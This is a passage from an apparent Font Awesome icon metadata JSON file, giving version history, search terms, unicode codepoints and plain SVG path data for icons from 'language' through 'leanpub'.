        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M272 0h80c8.8 0 16 7.2 16 16V80c0 8.8-7.2 16-16 16H272v32H464c17.7 0 32 14.3 32 32s-14.3 32-32 32H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H240V16c0-8.8 7.2-16 16-16h16zM64 224h64V416h40V224h64V416h48V224h64V416h40V224h64V420.3c.6 .3 1.2 .7 1.8 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V224z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M272 0h80c8.8 0 16 7.2 16 16V80c0 8.8-7.2 16-16 16H272v32H464c17.7 0 32 14.3 32 32s-14.3 32-32 32H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H240V16c0-8.8 7.2-16 16-16h16zM64 224h64V416h40V224h64V416h48V224h64V416h40V224h64V420.3c.6 .3 1.2 .7 1.8 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V224z"
      }
    },
    "free": ["solid"]
  },
  "language": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1ab"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "dialect",
        "idiom",
        "localize",
        "speech",
        "translate",
        "vernacular"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1ab",
    "label": "Language",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 128C0 92.7 28.7 64 64 64H256h48 16H576c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H320 304 256 64c-35.3 0-64-28.7-64-64V128zm320 0V384H576V128H320zM178.3 175.9c-3.2-7.2-10.4-11.9-18.3-11.9s-15.1 4.7-18.3 11.9l-64 144c-4.5 10.1 .1 21.9 10.2 26.4s21.9-.1 26.4-10.2l8.9-20.1h73.6l8.9 20.1c4.5 10.1 16.3 14.6 26.4 10.2s14.6-16.3 10.2-26.4l-64-144zM160 233.2L179 276H141l19-42.8zM448 164c11 0 20 9 20 20v4h44 16c11 0 20 9 20 20s-9 20-20 20h-2l-1.6 4.5c-8.9 24.4-22.4 46.6-39.6 65.4c.9 .6 1.8 1.1 2.7 1.6l18.9 11.3c9.5 5.7 12.5 18 6.9 27.4s-18 12.5-27.4 6.9l-18.9-11.3c-4.5-2.7-8.8-5.5-13.1-8.5c-10.6 7.5-21.9 14-34 19.4l-3.6 1.6c-10.1 4.5-21.9-.1-26.4-10.2s.1-21.9 10.2-26.4l3.6-1.6c6.4-2.9 12.6-6.1 18.5-9.8l-12.2-12.2c-7.8-7.8-7.8-20.5 0-28.3s20.5-7.8 28.3 0l14.6 14.6 .5 .5c12.4-13.1 22.5-28.3 29.8-45H448 376c-11 0-20-9-20-20s9-20 20-20h52v-4c0-11 9-20 20-20z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 128C0 92.7 28.7 64 64 64H256h48 16H576c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H320 304 256 64c-35.3 0-64-28.7-64-64V128zm320 0V384H576V128H320zM178.3 175.9c-3.2-7.2-10.4-11.9-18.3-11.9s-15.1 4.7-18.3 11.9l-64 144c-4.5 10.1 .1 21.9 10.2 26.4s21.9-.1 26.4-10.2l8.9-20.1h73.6l8.9 20.1c4.5 10.1 16.3 14.6 26.4 10.2s14.6-16.3 10.2-26.4l-64-144zM160 233.2L179 276H141l19-42.8zM448 164c11 0 20 9 20 20v4h44 16c11 0 20 9 20 20s-9 20-20 20h-2l-1.6 4.5c-8.9 24.4-22.4 46.6-39.6 65.4c.9 .6 1.8 1.1 2.7 1.6l18.9 11.3c9.5 5.7 12.5 18 6.9 27.4s-18 12.5-27.4 6.9l-18.9-11.3c-4.5-2.7-8.8-5.5-13.1-8.5c-10.6 7.5-21.9 14-34 19.4l-3.6 1.6c-10.1 4.5-21.9-.1-26.4-10.2s.1-21.9 10.2-26.4l3.6-1.6c6.4-2.9 12.6-6.1 18.5-9.8l-12.2-12.2c-7.8-7.8-7.8-20.5 0-28.3s20.5-7.8 28.3 0l14.6 14.6 .5 .5c12.4-13.1 22.5-28.3 29.8-45H448 376c-11 0-20-9-20-20s9-20 20-20h52v-4c0-11 9-20 20-20z"
      }
    },
    "free": ["solid"]
  },
  "laptop": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4bb"],
        "secondary": ["10f109"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "computer",
        "cpu",
        "dell",
        "demo",
        "device",
        "laptop",
        "mac",
        "macbook",
        "machine",
        "pc",
        "personal"
      ]
    },
    "styles": ["solid"],
    "unicode": "f109",
    "label": "Laptop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 32C92.7 32 64 60.7 64 96V352h64V96H512V352h64V96c0-35.3-28.7-64-64-64H128zM19.2 384C8.6 384 0 392.6 0 403.2C0 445.6 34.4 480 76.8 480H563.2c42.4 0 76.8-34.4 76.8-76.8c0-10.6-8.6-19.2-19.2-19.2H19.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 32C92.7 32 64 60.7 64 96V352h64V96H512V352h64V96c0-35.3-28.7-64-64-64H128zM19.2 384C8.6 384 0 392.6 0 403.2C0 445.6 34.4 480 76.8 480H563.2c42.4 0 76.8-34.4 76.8-76.8c0-10.6-8.6-19.2-19.2-19.2H19.2z"
      }
    },
    "free": ["solid"]
  },
  "laptop-code": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5fc"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "computer",
        "cpu",
        "dell",
        "demo",
        "develop",
        "device",
        "mac",
        "macbook",
        "machine",
        "pc"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5fc",
    "label": "Laptop Code",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 96c0-35.3 28.7-64 64-64H512c35.3 0 64 28.7 64 64V352H512V96H128V352H64V96zM0 403.2C0 392.6 8.6 384 19.2 384H620.8c10.6 0 19.2 8.6 19.2 19.2c0 42.4-34.4 76.8-76.8 76.8H76.8C34.4 480 0 445.6 0 403.2zM281 209l-31 31 31 31c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-48-48c-9.4-9.4-9.4-24.6 0-33.9l48-48c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM393 175l48 48c9.4 9.4 9.4 24.6 0 33.9l-48 48c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l31-31-31-31c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 96c0-35.3 28.7-64 64-64H512c35.3 0 64 28.7 64 64V352H512V96H128V352H64V96zM0 403.2C0 392.6 8.6 384 19.2 384H620.8c10.6 0 19.2 8.6 19.2 19.2c0 42.4-34.4 76.8-76.8 76.8H76.8C34.4 480 0 445.6 0 403.2zM281 209l-31 31 31 31c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-48-48c-9.4-9.4-9.4-24.6 0-33.9l48-48c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM393 175l48 48c9.4 9.4 9.4 24.6 0 33.9l-48 48c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l31-31-31-31c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "laptop-file": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["computer", "education", "laptop", "learning", "remote work"]
    },
    "styles": ["solid"],
    "unicode": "e51d",
    "label": "Laptop File",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 0C92.7 0 64 28.7 64 64V288H19.2C8.6 288 0 296.6 0 307.2C0 349.6 34.4 384 76.8 384H320V288H128V64H448V96h64V64c0-35.3-28.7-64-64-64H128zM512 128H400c-26.5 0-48 21.5-48 48V464c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V256H544c-17.7 0-32-14.3-32-32V128zm32 0v96h96l-96-96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 0C92.7 0 64 28.7 64 64V288H19.2C8.6 288 0 296.6 0 307.2C0 349.6 34.4 384 76.8 384H320V288H128V64H448V96h64V64c0-35.3-28.7-64-64-64H128zM512 128H400c-26.5 0-48 21.5-48 48V464c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V256H544c-17.7 0-32-14.3-32-32V128zm32 0v96h96l-96-96z"
      }
    },
    "free": ["solid"]
  },
  "laptop-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f812"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "computer",
        "device",
        "ehr",
        "electronic health records",
        "history"
      ]
    },
    "styles": ["solid"],
    "unicode": "f812",
    "label": "Laptop Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 96c0-35.3 28.7-64 64-64H512c35.3 0 64 28.7 64 64V352H512V96H128V352H64V96zM0 403.2C0 392.6 8.6 384 19.2 384H620.8c10.6 0 19.2 8.6 19.2 19.2c0 42.4-34.4 76.8-76.8 76.8H76.8C34.4 480 0 445.6 0 403.2zM288 160c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H352v48c0 8.8-7.2 16-16 16H304c-8.8 0-16-7.2-16-16V272H240c-8.8 0-16-7.2-16-16V224c0-8.8 7.2-16 16-16h48V160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 96c0-35.3 28.7-64 64-64H512c35.3 0 64 28.7 64 64V352H512V96H128V352H64V96zM0 403.2C0 392.6 8.6 384 19.2 384H620.8c10.6 0 19.2 8.6 19.2 19.2c0 42.4-34.4 76.8-76.8 76.8H76.8C34.4 480 0 445.6 0 403.2zM288 160c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H352v48c0 8.8-7.2 16-16 16H304c-8.8 0-16-7.2-16-16V272H240c-8.8 0-16-7.2-16-16V224c0-8.8 7.2-16 16-16h48V160z"
      }
    },
    "free": ["solid"]
  },
  "laravel": {
    "changes": ["5.0.0", "5.0.3", "5.11.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3bd",
    "label": "Laravel",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z"
      }
    },
    "free": ["brands"]
  },
  "lari-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Lari Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1c8",
    "label": "Lari Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M144 32c17.7 0 32 14.3 32 32V96.7c5.3-.4 10.6-.7 16-.7s10.7 .2 16 .7V64c0-17.7 14.3-32 32-32s32 14.3 32 32v49.4c54.9 25.2 95.8 75.5 108.2 136.2c3.5 17.3-7.7 34.2-25 37.7s-34.2-7.7-37.7-25c-6.1-29.9-22.5-55.9-45.4-74.3V256c0 17.7-14.3 32-32 32s-32-14.3-32-32V161c-5.2-.7-10.6-1-16-1s-10.8 .3-16 1v95c0 17.7-14.3 32-32 32s-32-14.3-32-32V188.1C82.7 211.5 64 247.6 64 288c0 70.7 57.3 128 128 128H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H192 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48.9C18.5 382 0 337.2 0 288c0-77.5 45.9-144.3 112-174.6V64c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M144 32c17.7 0 32 14.3 32 32V96.7c5.3-.4 10.6-.7 16-.7s10.7 .2 16 .7V64c0-17.7 14.3-32 32-32s32 14.3 32 32v49.4c54.9 25.2 95.8 75.5 108.2 136.2c3.5 17.3-7.7 34.2-25 37.7s-34.2-7.7-37.7-25c-6.1-29.9-22.5-55.9-45.4-74.3V256c0 17.7-14.3 32-32 32s-32-14.3-32-32V161c-5.2-.7-10.6-1-16-1s-10.8 .3-16 1v95c0 17.7-14.3 32-32 32s-32-14.3-32-32V188.1C82.7 211.5 64 247.6 64 288c0 70.7 57.3 128 128 128H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H192 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48.9C18.5 382 0 337.2 0 288c0-77.5 45.9-144.3 112-174.6V64c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "lastfm": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f202",
    "label": "last.fm",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z"
      }
    },
    "free": ["brands"]
  },
  "layer-group": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5fd"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "develop", "layers", "map", "stack"]
    },
    "styles": ["solid"],
    "unicode": "f5fd",
    "label": "Layer Group",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M264.5 5.2c14.9-6.9 32.1-6.9 47 0l218.6 101c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 149.8C37.4 145.8 32 137.3 32 128s5.4-17.9 13.9-21.8L264.5 5.2zM476.9 209.6l53.2 24.6c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 277.8C37.4 273.8 32 265.3 32 256s5.4-17.9 13.9-21.8l53.2-24.6 152 70.2c23.4 10.8 50.4 10.8 73.8 0l152-70.2zm-152 198.2l152-70.2 53.2 24.6c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 405.8C37.4 401.8 32 393.3 32 384s5.4-17.9 13.9-21.8l53.2-24.6 152 70.2c23.4 10.8 50.4 10.8 73.8 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M264.5 5.2c14.9-6.9 32.1-6.9 47 0l218.6 101c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 149.8C37.4 145.8 32 137.3 32 128s5.4-17.9 13.9-21.8L264.5 5.2zM476.9 209.6l53.2 24.6c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 277.8C37.4 273.8 32 265.3 32 256s5.4-17.9 13.9-21.8l53.2-24.6 152 70.2c23.4 10.8 50.4 10.8 73.8 0l152-70.2zm-152 198.2l152-70.2 53.2 24.6c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 405.8C37.4 401.8 32 393.3 32 384s5.4-17.9 13.9-21.8l53.2-24.6 152 70.2c23.4 10.8 50.4 10.8 73.8 0z"
      }
    },
    "free": ["solid"]
  },
  "leaf": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f06c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["eco", "flora", "nature", "plant", "vegan"]
    },
    "styles": ["solid"],
    "unicode": "f06c",
    "label": "Leaf",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M272 96c-78.6 0-145.1 51.5-167.7 122.5c33.6-17 71.5-26.5 111.7-26.5h88c8.8 0 16 7.2 16 16s-7.2 16-16 16H288 216s0 0 0 0c-16.6 0-32.7 1.9-48.2 5.4c-25.9 5.9-50 16.4-71.4 30.7c0 0 0 0 0 0C38.3 298.8 0 364.9 0 440v16c0 13.3 10.7 24 24 24s24-10.7 24-24V440c0-48.7 20.7-92.5 53.8-123.2C121.6 392.3 190.3 448 272 448l1 0c132.1-.7 239-130.9 239-291.4c0-42.6-7.5-83.1-21.1-119.6c-2.6-6.9-12.7-6.6-16.2-.1C455.9 72.1 418.7 96 376 96L272 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M272 96c-78.6 0-145.1 51.5-167.7 122.5c33.6-17 71.5-26.5 111.7-26.5h88c8.8 0 16 7.2 16 16s-7.2 16-16 16H288 216s0 0 0 0c-16.6 0-32.7 1.9-48.2 5.4c-25.9 5.9-50 16.4-71.4 30.7c0 0 0 0 0 0C38.3 298.8 0 364.9 0 440v16c0 13.3 10.7 24 24 24s24-10.7 24-24V440c0-48.7 20.7-92.5 53.8-123.2C121.6 392.3 190.3 448 272 448l1 0c132.1-.7 239-130.9 239-291.4c0-42.6-7.5-83.1-21.1-119.6c-2.6-6.9-12.7-6.6-16.2-.1C455.9 72.1 418.7 96 376 96L272 96z"
      }
    },
    "free": ["solid"]
  },
  "leanpub": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f212",
    "label": "Leanpub",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z"
      }
    },
    "free": ["brands"]
  },
  "left-long": {
    "aliases": {
